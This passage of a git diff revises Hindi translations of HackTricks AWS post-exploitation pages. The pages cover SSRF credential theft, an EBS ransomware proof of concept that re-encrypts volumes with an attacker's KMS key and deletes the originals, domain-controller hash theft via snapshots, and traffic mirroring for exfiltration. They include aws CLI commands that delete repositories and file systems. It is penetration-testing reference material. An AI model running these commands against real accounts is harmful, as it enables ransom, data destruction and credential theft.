-3. [AWS EC2 वातावरण में SSRF का दुरुपयोग](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) स्क्रिप्ट के साथ बैस्टियन EC2 AWS अस्थायी क्रेडेंशियल प्राप्त करें
-4. क्रेडेंशियल्स को अपने मशीन में `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` प्रोफ़ाइल के रूप में स्थानांतरित करें
-5. बैस्टियन EC2 के रूप में EKS में लॉग इन करें:
+3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) स्क्रिप्ट के साथ Bastion EC2 AWS अस्थायी क्रेडेंशियल प्राप्त करें
+4. क्रेडेंशियल्स को अपने मशीन में `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` प्रोफ़ाइल के रूप में स्थानांतरित करें
+5. Bastion EC2 के रूप में EKS में लॉग इन करें:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region --name
```
@@ -119,9 +119,9 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
-ध्यान दें कि SSL कनेक्शन विफल हो जाएंगे जब तक आप `--insecure-skip-tls-verify` ध्वज (या K8s ऑडिट टूल में इसके समकक्ष) को सेट नहीं करते। चूंकि ट्रैफ़िक सुरक्षित AWS SSM टनल के माध्यम से टनल किया गया है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं।
+ध्यान दें कि SSL कनेक्शन विफल हो जाएंगे जब तक आप `--insecure-skip-tls-verify ` ध्वज (या K8s ऑडिट टूल में इसके समकक्ष) को सेट नहीं करते। चूंकि ट्रैफ़िक सुरक्षित AWS SSM टनल के माध्यम से टनल किया गया है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं।
-अंत में, यह तकनीक निजी EKS क्लस्टरों पर हमले के लिए विशिष्ट नहीं है। आप किसी भी अन्य AWS सेवा या कस्टम एप्लिकेशन पर पिवट करने के लिए मनचाहे डोमेन और पोर्ट सेट कर सकते हैं।
+अंत में, यह तकनीक निजी EKS क्लस्टरों पर हमले के लिए विशिष्ट नहीं है। आप किसी भी अन्य AWS सेवा या कस्टम एप्लिकेशन पर पिवट करने के लिए मनमाने डोमेन और पोर्ट सेट कर सकते हैं।
### Share AMI
```bash
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{
```
### सार्वजनिक और निजी AMIs में संवेदनशील जानकारी खोजें
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक उपकरण है जो **सार्वजनिक या निजी अमेज़न मशीन इमेज (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए डिज़ाइन किया गया है**। यह लक्षित AMIs से उदाहरण लॉन्च करने, उनके वॉल्यूम को माउंट करने और संभावित रहस्यों या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है।
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक उपकरण है जो **सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए डिज़ाइन किया गया है**। यह लक्षित AMIs से उदाहरण लॉन्च करने, उनके वॉल्यूम को माउंट करने और संभावित रहस्यों या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है।
### EBS स्नैपशॉट साझा करें
```bash
@@ -137,7 +137,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
```
### EBS Ransomware PoC
-एक प्रमाणित अवधारणा जो S3 पोस्ट-एक्सप्लॉइटेशन नोट्स में प्रदर्शित Ransomware प्रदर्शन के समान है। KMS को Ransomware प्रबंधन सेवा (RMS) के रूप में पुनः नामित किया जाना चाहिए, क्योंकि इसे विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग करना कितना आसान है।
+एक प्रमाणित अवधारणा जो S3 पोस्ट-एक्सप्लोइटेशन नोट्स में प्रदर्शित Ransomware प्रदर्शन के समान है। KMS को Ransomware प्रबंधन सेवा (RMS) के लिए पुनः नामित किया जाना चाहिए, क्योंकि इसे विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग करना कितना आसान है।
पहले 'हमलावर' AWS खाते से, KMS में एक ग्राहक प्रबंधित कुंजी बनाएं। इस उदाहरण के लिए, हम बस AWS को मेरे लिए कुंजी डेटा प्रबंधित करने देंगे, लेकिन एक वास्तविक परिदृश्य में, एक दुर्भावनापूर्ण अभिनेता AWS के नियंत्रण से बाहर कुंजी डेटा को बनाए रखेगा। कुंजी नीति को इस प्रकार बदलें कि किसी भी AWS खाता प्रिंसिपल को कुंजी का उपयोग करने की अनुमति हो। इस कुंजी नीति के लिए, खाते का नाम 'AttackSim' था और सभी पहुंच की अनुमति देने वाला नीति नियम 'बाहरी एन्क्रिप्शन' कहा जाता है।
```
@@ -231,7 +231,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
]
}
```
-The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
+कुंजी नीति नियम को EBS वॉल्यूम को एन्क्रिप्ट करने की क्षमता की अनुमति देने के लिए निम्नलिखित सक्षम करने की आवश्यकता है:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -239,7 +239,7 @@ The key policy rule needs the following enabled to allow for the ability to use
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
-अब सार्वजनिक रूप से सुलभ कुंजी का उपयोग करने के साथ। हम एक 'पीड़ित' खाते का उपयोग कर सकते हैं जिसमें कुछ EC2 उदाहरण हैं जिनसे अनएन्क्रिप्टेड EBS वॉल्यूम जुड़े हुए हैं। इस 'पीड़ित' खाते के EBS वॉल्यूम वह हैं जिनका हम एन्क्रिप्शन के लिए लक्ष्य बना रहे हैं, यह हमला एक उच्च-विशेषाधिकार AWS खाते के उल्लंघन के तहत है।
+अब सार्वजनिक रूप से सुलभ कुंजी का उपयोग करने के साथ। हम एक 'पीड़ित' खाते का उपयोग कर सकते हैं जिसमें कुछ EC2 उदाहरण हैं जिनमें अनएन्क्रिप्टेड EBS वॉल्यूम जुड़े हुए हैं। इस 'पीड़ित' खाते के EBS वॉल्यूम वे हैं जिनके लिए हम एन्क्रिप्शन का लक्ष्य बना रहे हैं, यह हमला एक उच्च-विशेषाधिकार AWS खाते के उल्लंघन के तहत है।
 
@@ -249,7 +249,7 @@ S3 रैनसमवेयर उदाहरण के समान। यह

-यह भी ध्यान देने योग्य है कि स्क्रिप्ट ने मूल EBS वॉल्यूम को हटाने और हटाने के लिए EC2 उदाहरणों को रोक दिया। अब मूल अनएन्क्रिप्टेड वॉल्यूम चले गए हैं।
+यह भी ध्यान देने योग्य है कि स्क्रिप्ट ने मूल EBS वॉल्यूम को हटाने और अलग करने के लिए EC2 उदाहरणों को रोक दिया। मूल अनएन्क्रिप्टेड वॉल्यूम अब चले गए हैं।

@@ -324,15 +324,15 @@ S3 रैनसमवेयर उदाहरण के समान। यह
]
}
```
-एक पल रुकें ताकि नए सेट किए गए कुंजी नीति का प्रचार हो सके। फिर 'पीड़ित' खाते में वापस जाएं और नए एन्क्रिप्टेड EBS वॉल्यूम में से एक को अटैच करने का प्रयास करें। आप पाएंगे कि आप वॉल्यूम को अटैच कर सकते हैं।
+एक पल रुकें ताकि नए सेट किए गए की नीति का प्रचार हो सके। फिर 'पीड़ित' खाते पर लौटें और नए एन्क्रिप्टेड EBS वॉल्यूम में से एक को अटैच करने का प्रयास करें। आप पाएंगे कि आप वॉल्यूम को अटैच कर सकते हैं।
 
-लेकिन जब आप एन्क्रिप्टेड EBS वॉल्यूम के साथ EC2 इंस्टेंस को फिर से शुरू करने का प्रयास करते हैं, तो यह बस विफल हो जाएगा और 'पेंडिंग' स्थिति से 'रुका हुआ' स्थिति में हमेशा के लिए वापस चला जाएगा क्योंकि अटैच किया गया EBS वॉल्यूम कुंजी का उपयोग करके डिक्रिप्ट नहीं किया जा सकता क्योंकि कुंजी नीति अब इसकी अनुमति नहीं देती।
+लेकिन जब आप एन्क्रिप्टेड EBS वॉल्यूम के साथ EC2 इंस्टेंस को फिर से शुरू करने का प्रयास करते हैं, तो यह बस विफल हो जाएगा और 'pending' स्थिति से 'stopped' स्थिति में हमेशा के लिए वापस चला जाएगा क्योंकि अटैच किया गया EBS वॉल्यूम की नीति के अनुसार डिक्रिप्ट नहीं किया जा सकता है।
 
-यह वह पायथन स्क्रिप्ट है जिसका उपयोग किया गया है। यह 'पीड़ित' खाते के लिए AWS क्रेड्स और एन्क्रिप्शन के लिए उपयोग की जाने वाली कुंजी के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN मान लेता है। यह स्क्रिप्ट लक्षित AWS खाते में सभी EC2 इंस्टेंस से जुड़े सभी उपलब्ध EBS वॉल्यूम के एन्क्रिप्टेड कॉपी बनाएगी, फिर हर EC2 इंस्टेंस को रोक देगी, मूल EBS वॉल्यूम को अटैच से हटा देगी, उन्हें हटा देगी, और अंततः प्रक्रिया के दौरान उपयोग किए गए सभी स्नैपशॉट को हटा देगी। इससे लक्षित 'पीड़ित' खाते में केवल एन्क्रिप्टेड EBS वॉल्यूम रह जाएंगे। इस स्क्रिप्ट का उपयोग केवल परीक्षण वातावरण में करें, यह विनाशकारी है और सभी मूल EBS वॉल्यूम को हटा देगा। आप उपयोग की गई KMS कुंजी का उपयोग करके उन्हें पुनर्प्राप्त कर सकते हैं और स्नैपशॉट के माध्यम से उन्हें उनके मूल स्थिति में बहाल कर सकते हैं, लेकिन मैं आपको यह बताना चाहता था कि यह अंततः एक रैनसमवेयर PoC है।
+यह वह पायथन स्क्रिप्ट है जिसका उपयोग किया गया है। यह 'पीड़ित' खाते के लिए AWS क्रेडेंशियल्स और एन्क्रिप्शन के लिए उपयोग की जाने वाली की के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN मान लेता है। यह स्क्रिप्ट लक्षित AWS खाते में सभी EC2 इंस्टेंस से जुड़े सभी उपलब्ध EBS वॉल्यूम की एन्क्रिप्टेड कॉपी बनाएगी, फिर हर EC2 इंस्टेंस को रोक देगी, मूल EBS वॉल्यूम को अटैच से हटा देगी, उन्हें हटा देगी, और अंततः प्रक्रिया के दौरान उपयोग किए गए सभी स्नैपशॉट को हटा देगी। इससे लक्षित 'पीड़ित' खाते में केवल एन्क्रिप्टेड EBS वॉल्यूम रह जाएंगे। इस स्क्रिप्ट का उपयोग केवल परीक्षण वातावरण में करें, यह विनाशकारी है और सभी मूल EBS वॉल्यूम को हटा देगा। आप उपयोग किए गए KMS की का उपयोग करके उन्हें पुनर्प्राप्त कर सकते हैं और स्नैपशॉट के माध्यम से उन्हें उनके मूल स्थिति में बहाल कर सकते हैं, लेकिन आपको यह बताना चाहता हूं कि यह अंततः एक रैनसमवेयर PoC है।
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index 660eff229..742b9c2e7 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -32,7 +32,7 @@ make docker/build
IMAGE=".img" make docker/run #With the snapshot downloaded
```
> [!CAUTION]
-> **नोट** कि `dsnap` आपको सार्वजनिक स्नैपशॉट डाउनलोड करने की अनुमति नहीं देगा। इससे बचने के लिए, आप स्नैपशॉट की एक प्रति अपने व्यक्तिगत खाते में बना सकते हैं, और उसे डाउनलोड कर सकते हैं:
+> **नोट** कि `dsnap` आपको सार्वजनिक स्नैपशॉट डाउनलोड करने की अनुमति नहीं देगा। इसे बायपास करने के लिए, आप स्नैपशॉट की एक प्रति अपने व्यक्तिगत खाते में बना सकते हैं, और उसे डाउनलोड कर सकते हैं:
```bash
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
@@ -56,20 +56,20 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps
```
**इसे आपके नियंत्रण में एक EC2 VM में माउंट करें** (यह बैकअप की कॉपी के समान क्षेत्र में होना चाहिए):
-चरण 1: EC2 –> वॉल्यूम पर जाकर आपके पसंद के आकार और प्रकार का एक नया वॉल्यूम बनाया जाना है।
+चरण 1: आपके पसंदीदा आकार और प्रकार का एक नया वॉल्यूम EC2 –> वॉल्यूम्स पर जाकर बनाया जाना है।
इस क्रिया को करने के लिए, इन कमांड का पालन करें:
- EC2 इंस्टेंस से जोड़ने के लिए एक EBS वॉल्यूम बनाएं।
- सुनिश्चित करें कि EBS वॉल्यूम और इंस्टेंस एक ही जोन में हैं।
-चरण 2: बनाए गए वॉल्यूम पर राइट-क्लिक करके "जोड़ें वॉल्यूम" विकल्प का चयन किया जाना है।
+चरण 2: बनाए गए वॉल्यूम पर राइट-क्लिक करके "अटैच वॉल्यूम" विकल्प का चयन किया जाना है।
चरण 3: इंस्टेंस टेक्स्ट बॉक्स से इंस्टेंस का चयन किया जाना है।
इस क्रिया को करने के लिए, निम्नलिखित कमांड का उपयोग करें:
-- EBS वॉल्यूम को जोड़ें।
+- EBS वॉल्यूम को अटैच करें।
चरण 4: EC2 इंस्टेंस में लॉगिन करें और कमांड `lsblk` का उपयोग करके उपलब्ध डिस्क की सूची बनाएं।
@@ -89,7 +89,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps
इस क्रिया को करने के लिए, निम्नलिखित कमांड का उपयोग करें:
-- `/newvolume` में डायरेक्टरी बदलें।
+- डायरेक्टरी को `/newvolume` में बदलें।
- कमांड `df -h .` का उपयोग करके डिस्क स्पेस की जांच करें। इस कमांड का आउटपुट "newvolume" डायरेक्टरी में फ्री स्पेस दिखाना चाहिए।
आप इसे Pacu के साथ `ebs__explore_snapshots` मॉड्यूल का उपयोग करके कर सकते हैं।
@@ -122,9 +122,9 @@ ls /mnt
```
## Shadow Copy
-कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे इंस्टेंस पर माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए निर्यात कर सकता है।
+कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे इंस्टेंस पर माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए उपयोग करने के लिए निर्यात कर सकता है।
-आप इस उपकरण का उपयोग हमले को स्वचालित करने के लिए कर सकते हैं: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) या आप स्नैपशॉट बनाने के बाद पिछले तकनीकों में से एक का उपयोग कर सकते हैं।
+आप इस हमले को स्वचालित करने के लिए इस उपकरण का उपयोग कर सकते हैं: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) या आप स्नैपशॉट बनाने के बाद पिछले तकनीकों में से एक का उपयोग कर सकते हैं।
## References
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index 1ff14b96f..a428fc92c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -4,7 +4,7 @@
**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
-क्लाउड वातावरण में पैसिव नेटवर्क निरीक्षण **चुनौतीपूर्ण** रहा है, जिसके लिए नेटवर्क ट्रैफ़िक की निगरानी के लिए प्रमुख कॉन्फ़िगरेशन परिवर्तनों की आवश्यकता होती है। हालाँकि, AWS द्वारा “**VPC ट्रैफ़िक मिररिंग**” नामक एक नई सुविधा पेश की गई है जो इस प्रक्रिया को सरल बनाती है। VPC ट्रैफ़िक मिररिंग के साथ, VPCs के भीतर नेटवर्क ट्रैफ़िक को बिना किसी सॉफ़्टवेयर को इंस्टेंस पर स्थापित किए **डुप्लिकेट** किया जा सकता है। यह डुप्लिकेट किया गया ट्रैफ़िक नेटवर्क इंट्रूज़न डिटेक्शन सिस्टम (IDS) के लिए **विश्लेषण** के लिए भेजा जा सकता है।
+क्लाउड वातावरण में पैसिव नेटवर्क निरीक्षण **चुनौतीपूर्ण** रहा है, जिसके लिए नेटवर्क ट्रैफ़िक की निगरानी के लिए प्रमुख कॉन्फ़िगरेशन परिवर्तनों की आवश्यकता होती है। हालाँकि, AWS द्वारा “**VPC ट्रैफ़िक मिररिंग**” नामक एक नई सुविधा पेश की गई है जिससे इस प्रक्रिया को सरल बनाया जा सके। VPC ट्रैफ़िक मिररिंग के साथ, VPCs के भीतर नेटवर्क ट्रैफ़िक को बिना किसी सॉफ़्टवेयर को इंस्टेंस पर स्थापित किए **डुप्लिकेट** किया जा सकता है। यह डुप्लिकेट किया गया ट्रैफ़िक नेटवर्क इंट्रूज़न डिटेक्शन सिस्टम (IDS) के लिए **विश्लेषण** के लिए भेजा जा सकता है।
VPC ट्रैफ़िक को मिररिंग और एक्सफिल्ट्रेट करने के लिए आवश्यक बुनियादी ढांचे की **स्वचालित तैनाती** की आवश्यकता को संबोधित करने के लिए, हमने “**malmirror**” नामक एक प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट विकसित की है। इस स्क्रिप्ट का उपयोग **समझौता किए गए AWS क्रेडेंशियल्स** के साथ लक्षित VPC में सभी समर्थित EC2 इंस्टेंस के लिए मिररिंग सेट करने के लिए किया जा सकता है। यह ध्यान रखना महत्वपूर्ण है कि VPC ट्रैफ़िक मिररिंग केवल AWS नाइट्रो सिस्टम द्वारा संचालित EC2 इंस्टेंस द्वारा समर्थित है, और VPC मिरर लक्ष्य को मिरर किए गए होस्ट के समान VPC के भीतर होना चाहिए।
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index bf329508d..41c8547f6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - ECR Post Exploitation
+# AWS - ECR पोस्ट एक्सप्लॉइटेशन
{{#include ../../../banners/hacktricks-training.md}}
@@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
-इमेज डाउनलोड करने के बाद आपको **संवेदनशील जानकारी के लिए उन्हें जांचना चाहिए**:
+छवियों को डाउनलोड करने के बाद आपको **संवेदनशील जानकारी के लिए उनकी जांच करनी चाहिए**:
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-इनमें से किसी भी अनुमति के साथ एक हमलावर **सभी इमेज को हटाने के लिए एक जीवनचक्र नीति बना या संशोधित कर सकता है** और फिर **पूरे ECR रिपॉजिटरी को हटा सकता है**। इसके परिणामस्वरूप रिपॉजिटरी में संग्रहीत सभी कंटेनर इमेज का नुकसान होगा।
+इनमें से किसी भी अनुमति के साथ एक हमलावर **सभी छवियों को हटाने के लिए एक जीवनचक्र नीति बना या संशोधित कर सकता है** और फिर **पूरे ECR रिपॉजिटरी को हटा सकता है**। इसके परिणामस्वरूप रिपॉजिटरी में संग्रहीत सभी कंटेनर छवियों का नुकसान होगा।
```bash
bashCopy code# Create a JSON file with the malicious lifecycle policy
echo '{
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index f84808d9d..09856af9c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -10,7 +10,7 @@
../aws-services/aws-ecs-enum.md
{{#endref}}
-### होस्ट IAM भूमिकाएँ
+### Host IAM Roles
ECS में एक **IAM भूमिका को कंटेनर के अंदर चल रहे कार्य** को सौंपा जा सकता है। **यदि** कार्य एक **EC2** उदाहरण के अंदर चलाया जाता है, तो **EC2 उदाहरण** के साथ **एक और IAM** भूमिका जुड़ी होगी।\
जिसका मतलब है कि यदि आप एक ECS उदाहरण को **समझौता** करने में सफल होते हैं, तो आप संभावित रूप से **ECR और EC2 उदाहरण से संबंधित IAM भूमिका प्राप्त कर सकते हैं**। उन क्रेडेंशियल्स को प्राप्त करने के तरीके के बारे में अधिक जानकारी के लिए देखें:
@@ -20,25 +20,25 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
{{#endref}}
> [!CAUTION]
-> ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेज़ों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **हॉप सीमा 1** होगी, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा तक पहुंचना असंभव हो जाएगा।
+> ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेज़ों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **hop limit 1** होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा तक पहुंचना असंभव हो जाएगा।
-### अन्य कंटेनरों के क्रेड्स और रहस्यों को चुराने के लिए नोड पर प्रिवेस्क
+### Privesc to node to steal other containers creds & secrets
-लेकिन इसके अलावा, EC2 ECs कार्यों को चलाने के लिए डॉकर का उपयोग करता है, इसलिए यदि आप नोड पर भागने में सक्षम हैं या **डॉकर सॉकेट तक पहुंच** प्राप्त कर सकते हैं, तो आप **चेक** कर सकते हैं कि **कौन से अन्य कंटेनर** चल रहे हैं, और यहां तक कि **उनमें प्रवेश कर सकते हैं** और **उनकी IAM भूमिकाएँ** चुरा सकते हैं।
+लेकिन इसके अलावा, EC2 ECs कार्यों को चलाने के लिए डॉकर का उपयोग करता है, इसलिए यदि आप नोड पर भागने में सक्षम हैं या **डॉकर सॉकेट तक पहुंच** प्राप्त कर सकते हैं, तो आप **चेक** कर सकते हैं कि **अन्य कंटेनर** कौन से चल रहे हैं, और यहां तक कि **उनमें प्रवेश कर सकते हैं** और **उनकी IAM भूमिकाएँ** चुरा सकते हैं।
-#### वर्तमान होस्ट में कंटेनरों को चलाना
+#### Making containers run in current host
-इसके अलावा, **EC2 उदाहरण की भूमिका** आमतौर पर क्लस्टर के अंदर नोड के रूप में उपयोग किए जा रहे EC2 उदाहरणों की **कंटेनर उदाहरण स्थिति** को **अपडेट** करने के लिए पर्याप्त **अनुमतियाँ** रखेगी। एक हमलावर **DRAINING** के लिए एक उदाहरण की **स्थिति को संशोधित** कर सकता है, फिर ECS **इससे सभी कार्यों को हटा देगा** और जो **REPLICA** के रूप में चल रहे हैं, उन्हें **एक अलग उदाहरण में चलाया जाएगा,** संभावित रूप से **हमलावर के उदाहरण** के अंदर ताकि वह **उनकी IAM भूमिकाएँ** और संभावित संवेदनशील जानकारी को कंटेनर के अंदर से **चुरा सके।**
+इसके अलावा, **EC2 उदाहरण की भूमिका** आमतौर पर **क्लस्टर के अंदर नोड्स के रूप में उपयोग किए जा रहे EC2 उदाहरणों** की **कंटेनर उदाहरण स्थिति** को **अपडेट** करने के लिए पर्याप्त **अनुमतियाँ** रखेगी। एक हमलावर **DRAINING** के लिए एक उदाहरण की **स्थिति को संशोधित** कर सकता है, फिर ECS **इससे सभी कार्यों को हटा देगा** और जो **REPLICA** के रूप में चल रहे हैं, वे **एक अलग उदाहरण में चलेंगे,** संभावित रूप से **हमलावर के उदाहरण के अंदर** ताकि वह **उनकी IAM भूमिकाएँ** और संभावित संवेदनशील जानकारी को कंटेनर के अंदर से **चुरा सके।**
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
```
-यह वही तकनीक है जिसे **क्लस्टर से EC2 इंस्टेंस को डीरजिस्टर करके** किया जा सकता है। यह संभावित रूप से कम छिपा हुआ है लेकिन यह **अन्य इंस्टेंस में कार्यों को चलाने के लिए मजबूर करेगा:**
+यहां तक कि **क्लस्टर से EC2 इंस्टेंस को डीरजिस्टर करके** वही तकनीक की जा सकती है। यह संभावित रूप से कम छिपी हुई है लेकिन यह **अन्य इंस्टेंस में कार्यों को चलाने के लिए मजबूर करेगा:**
```bash
aws ecs deregister-container-instance \
--cluster --container-instance --force
```
-एक अंतिम तकनीक कार्यों को फिर से निष्पादित करने के लिए ECS को यह संकेत देना है कि **कार्य या कंटेनर बंद हो गया**। इसे करने के लिए 3 संभावित APIs हैं:
+एक अंतिम तकनीक कार्यों को फिर से निष्पादित करने के लिए ECS को यह संकेत देना है कि **कार्य या कंटेनर बंद हो गया**। ऐसा करने के लिए 3 संभावित APIs हैं:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster \
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
```
### ECR कंटेनरों से संवेदनशील जानकारी चुराना
-EC2 उदाहरण के पास शायद `ecr:GetAuthorizationToken` अनुमति होगी, जिससे यह **छवियों को डाउनलोड** कर सकेगा (आप इनमें संवेदनशील जानकारी के लिए खोज कर सकते हैं)।
+EC2 उदाहरण के पास संभवतः `ecr:GetAuthorizationToken` अनुमति होगी, जिससे इसे **छवियाँ डाउनलोड** करने की अनुमति मिलेगी (आप इनमें संवेदनशील जानकारी के लिए खोज कर सकते हैं)।
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index d32730d08..eab80582a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -16,7 +16,7 @@
```sql
aws efs delete-mount-target --mount-target-id
```
-**संभावित प्रभाव**: फ़ाइल प्रणाली तक पहुँच में बाधा और उपयोगकर्ताओं या अनुप्रयोगों के लिए संभावित डेटा हानि।
+**संभावित प्रभाव**: फ़ाइल प्रणाली की पहुँच में बाधा और उपयोगकर्ताओं या अनुप्रयोगों के लिए संभावित डेटा हानि।
### `elasticfilesystem:DeleteFileSystem`
@@ -28,7 +28,7 @@ aws efs delete-file-system --file-system-id
### `elasticfilesystem:UpdateFileSystem`
-एक हमलावर EFS फ़ाइल सिस्टम की विशेषताओं को अपडेट कर सकता है, जैसे थ्रूपुट मोड, ताकि इसके प्रदर्शन पर प्रभाव पड़े या संसाधन समाप्ति का कारण बने।
+एक हमलावर EFS फ़ाइल सिस्टम की विशेषताओं को अपडेट कर सकता है, जैसे थ्रूपुट मोड, जिससे इसके प्रदर्शन पर प्रभाव पड़ सकता है या संसाधन समाप्ति का कारण बन सकता है।
```sql
aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index 0e27e49d8..b76bc211c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - EKS Post Exploitation
+# AWS - EKS पोस्ट एक्सप्लॉइटेशन
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@
### AWS कंसोल से क्लस्टर की गणना करें
